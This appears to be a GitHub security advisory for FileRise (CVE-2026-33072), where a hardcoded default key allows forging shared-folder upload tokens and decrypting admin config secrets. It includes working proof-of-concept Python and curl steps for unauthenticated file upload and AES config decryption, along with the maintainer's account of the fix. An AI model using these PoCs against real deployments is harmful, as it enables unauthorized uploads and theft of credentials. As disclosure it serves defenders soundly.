Skip to content

Default Encryption Key Enables Token Forgery and Config Decryption

High
error311 published GHSA-f4xx-57cv-mg3x Mar 20, 2026

Package

No package listed

Affected versions

<= 3.8.0

Patched versions

3.9.0

Description

Summary

A hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords.

Details

FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable:

Dockerfile line 34:

ENV PERSISTENT_TOKENS_KEY=default_please_change_this_key

config/config.php lines 196–203:

$envKey = getenv('PERSISTENT_TOKENS_KEY');
if ($envKey === false || $envKey === '') {
    $encryptionKey = 'default_please_change_this_key';
    error_log('WARNING: Using default encryption key. ...');
} else {
    $encryptionKey = $envKey;
}
$GLOBALS['encryptionKey'] = $encryptionKey;

This key is used for three security-critical operations:

1. Share Upload Token HMAC (unauthenticated file upload — C:N/I:H)

When a folder share link is created, the upload token is computed as:

// FolderController.php line ~2319
$seed = $token . '|' . (string)$providedPass;
$uploadToken = hash_hmac('sha256', $seed, $GLOBALS['encryptionKey']);

An attacker who sees any shared folder URL (?token=XXXX) can forge a valid share_upload_token and upload arbitrary files to that folder without authentication. The share token is public information — it appears in every shared link URL sent to recipients.

2. Admin Config Encryption (full config disclosure — C:H/I:N)

Admin configuration (containing OIDC client secrets, SMTP passwords, JWT secrets, etc.) is encrypted with AES-256-CBC using the same key:

// AdminModel.php ~line 693
$encryptedContent = encryptData($plainTextConfig, $GLOBALS['encryptionKey']);
file_put_contents(USERS_DIR . 'adminConfig.json', $encryptedContent);

Key derivation: PHP's openssl_encrypt('AES-256-CBC') passes the key string directly to OpenSSL, which zero-pads keys shorter than 32 bytes. The default key is 30 bytes → OpenSSL pads with 2 null bytes. The encryptData() function (config/config.php line 175) uses no KDF — the raw key string is the AES key:

function encryptData($data, $encryptionKey) {
    $cipher = 'AES-256-CBC';
    $ivlen  = openssl_cipher_iv_length($cipher);
    $iv     = openssl_random_pseudo_bytes($ivlen);
    $ct     = openssl_encrypt($data, $cipher, $encryptionKey, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $ct);
}

This was verified by encrypting test_data with a fixed IV in both PHP and Python — both produce identical ciphertext (1e66082199eb5b988e2e794d643ba36a), confirming the Python PoC's .ljust(32, b'\x00')[:32] exactly matches PHP's OpenSSL zero-padding behavior.

3. Persistent Login Tokens (theoretical session hijack — requires separate write primitive)

Remember-me tokens are HMAC'd and stored encrypted:

// AuthModel.php ~line 670
$hash = hash_hmac('sha256', $token, $GLOBALS['encryptionKey']);
// stored in persistent_tokens.json, encrypted with same key

This is a theoretical escalation path, not a standalone attack: an attacker who already has write access to persistent_tokens.json (via a separate vulnerability such as path traversal or backup injection) could forge a remember-me token to authenticate as any user including admin. This vector is listed for completeness but is not independently exploitable with this vulnerability alone.

Adoption and real-world exposure

The Docker image error311/filerise-docker has 61,000+ pulls on Docker Hub (as of March 2026). The Docker Hub README documentation table currently lists PERSISTENT_TOKENS_KEY as *(required)*, but the Dockerfile ENV default means the container starts and runs normally without the user ever setting it. The docker run example in the README uses a different weak placeholder (please_change_this_@@). Users who follow the default docker run or docker-compose up flow without customizing the key are silently vulnerable.

PoC

Environment: FileRise v3.7.0 (commit fed969d) via docker run -d -p 8080:80 error311/filerise-docker:latest (default settings — key NOT changed)

PoC A: Forge upload token and upload to any shared folder (unauthenticated)

# Step 1 — Admin creates shared folder with upload enabled
# (via UI or API — produces a token like 6399dddfaa4928a1254f46b4b8b55c55)

# Step 2 — Attacker forges the HMAC upload token using the default key
python3 -c "
import hmac, hashlib
share_token = '6399dddfaa4928a1254f46b4b8b55c55'  # from shared URL
password = ''  # empty if no password set
key = b'default_please_change_this_key'
forged = hmac.new(key, f'{share_token}|{password}'.encode(), hashlib.sha256).hexdigest()
print(f'Forged token: {forged}')
"
# Output: c36537a83668e9c9491fdf2a843584ae899323aba5f57fc2d34e2d7be70407cd

# Step 3 — Attacker uploads file with NO authentication (no cookies, no session)
echo "Uploaded via forged HMAC" > /tmp/payload.txt
curl -X POST 'http://TARGET:8080/api/folder/uploadToSharedFolder.php' \
  -F "token=6399dddfaa4928a1254f46b4b8b55c55" \
  -F "share_upload_token=c36537a83668e9c9491fdf2a843584ae899323aba5f57fc2d34e2d7be70407cd" \
  -F "password=" \
  -F "file=@/tmp/payload.txt"
# HTTP 302 — file uploaded successfully

# Step 4 — Verify on disk
docker exec filerise-test ls -la /var/www/uploads/shared-test/
# Shows: payload.txt — uploaded by unauthenticated attacker

PoC B: Decrypt admin configuration (requires read access to adminConfig.json)

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# Read adminConfig.json (e.g., from backup leak or file read vulnerability)
encrypted_b64 = open('adminConfig.json').read().strip()

# Key derivation: PHP openssl_encrypt zero-pads the 30-byte key to 32 bytes.
# No KDF is used — the raw key string IS the AES key.
# Verified: PHP and Python produce identical ciphertext with this derivation.
key = b'default_please_change_this_key'.ljust(32, b'\x00')[:32]

raw = base64.b64decode(encrypted_b64)
iv, ct = raw[:16], raw[16:]  # IV is prepended (16 bytes)

dec = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = dec.update(ct) + dec.finalize()
plaintext = padded[:-padded[-1]].decode()  # PKCS7 unpadding
print(plaintext)
# Outputs full admin config JSON including OIDC secrets, SMTP creds, JWT secret, etc.

Both PoCs tested and confirmed on 2026-03-11 against error311/filerise-docker:latest (v3.7.0, commit fed969d).

Impact

Any default FileRise Docker deployment (where PERSISTENT_TOKENS_KEY is not changed) is vulnerable — and with 61,000+ Docker Hub pulls, the exposure surface is significant. The impact cascades across two independently exploitable attack surfaces:

  • Token forgery / arbitrary file upload (unauthenticated — I:H): Any attacker who sees a shared folder URL can forge a valid upload token and upload arbitrary files to that shared folder — no authentication required. The share token is public information visible in every shared link URL. This is a pre-auth write primitive with no user interaction required.
  • Config decryption (confidentiality — C:H): If adminConfig.json is accessed through any means (backup leak, misconfigured directory listing, another vulnerability), all stored secrets are exposed including OIDC client secrets, SMTP passwords, and JWT signing secrets.
  • Session hijack (theoretical, requires separate write primitive): If an attacker can write to persistent_tokens.json via a separate vulnerability, they can forge a remember-me token for any user including admin. This is not independently exploitable and is listed for cascading impact context only.

The root cause is that the default Docker deployment experience does not require or prompt the user to change this key, and the hardcoded value is both well-known (in the public Dockerfile) and used for all cryptographic operations.

Maintainer Response

Thanks for the report and the detailed write-up.

I validated the core issue in the released Docker behavior: the image/startup path allowed instances to run on a known published PERSISTENT_TOKENS_KEY value, and that same root key was reused for shared-upload HMAC generation plus encrypted-at-rest application secrets. That meant default-style Docker deployments could remain on predictable key material unless the operator changed it explicitly.

The fix in FileRise v3.9.0+ addresses that deployment behavior without breaking existing installs:

  • the runtime image no longer ships a baked-in PERSISTENT_TOKENS_KEY default
  • pristine Docker installs now auto-generate a unique key and persist it in metadata/persistent_tokens.key
  • existing installs without an explicit key continue on a compatibility path instead of failing at startup
  • the Admin Panel now warns operators when the instance is still using a legacy or published placeholder key
  • an admin-only rotation flow was added for compatible installs so stored secrets can be re-encrypted under a new key and remember-me sessions can be expired deliberately

I also re-tested the two primary exploit paths against the updated behavior:

  • a forged shared-folder upload token computed with default_please_change_this_key was rejected on a pristine auto-generated-key install
  • decrypting adminConfig.json with default_please_change_this_key failed once the instance was using non-default key material

I agree the remembered-session point is secondary and depends on a separate write primitive, but the deployment-default issue itself was valid and worth fixing.

For severity, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N / 8.2 is a reasonable rating for the reported deployment-default condition. I do not plan to dispute that score.

Fix is available in FileRise v3.9.0+ and docs/examples/templates were updated.

Thanks again for reporting it responsibly.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CVE ID

CVE-2026-33072

Weaknesses

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

Credits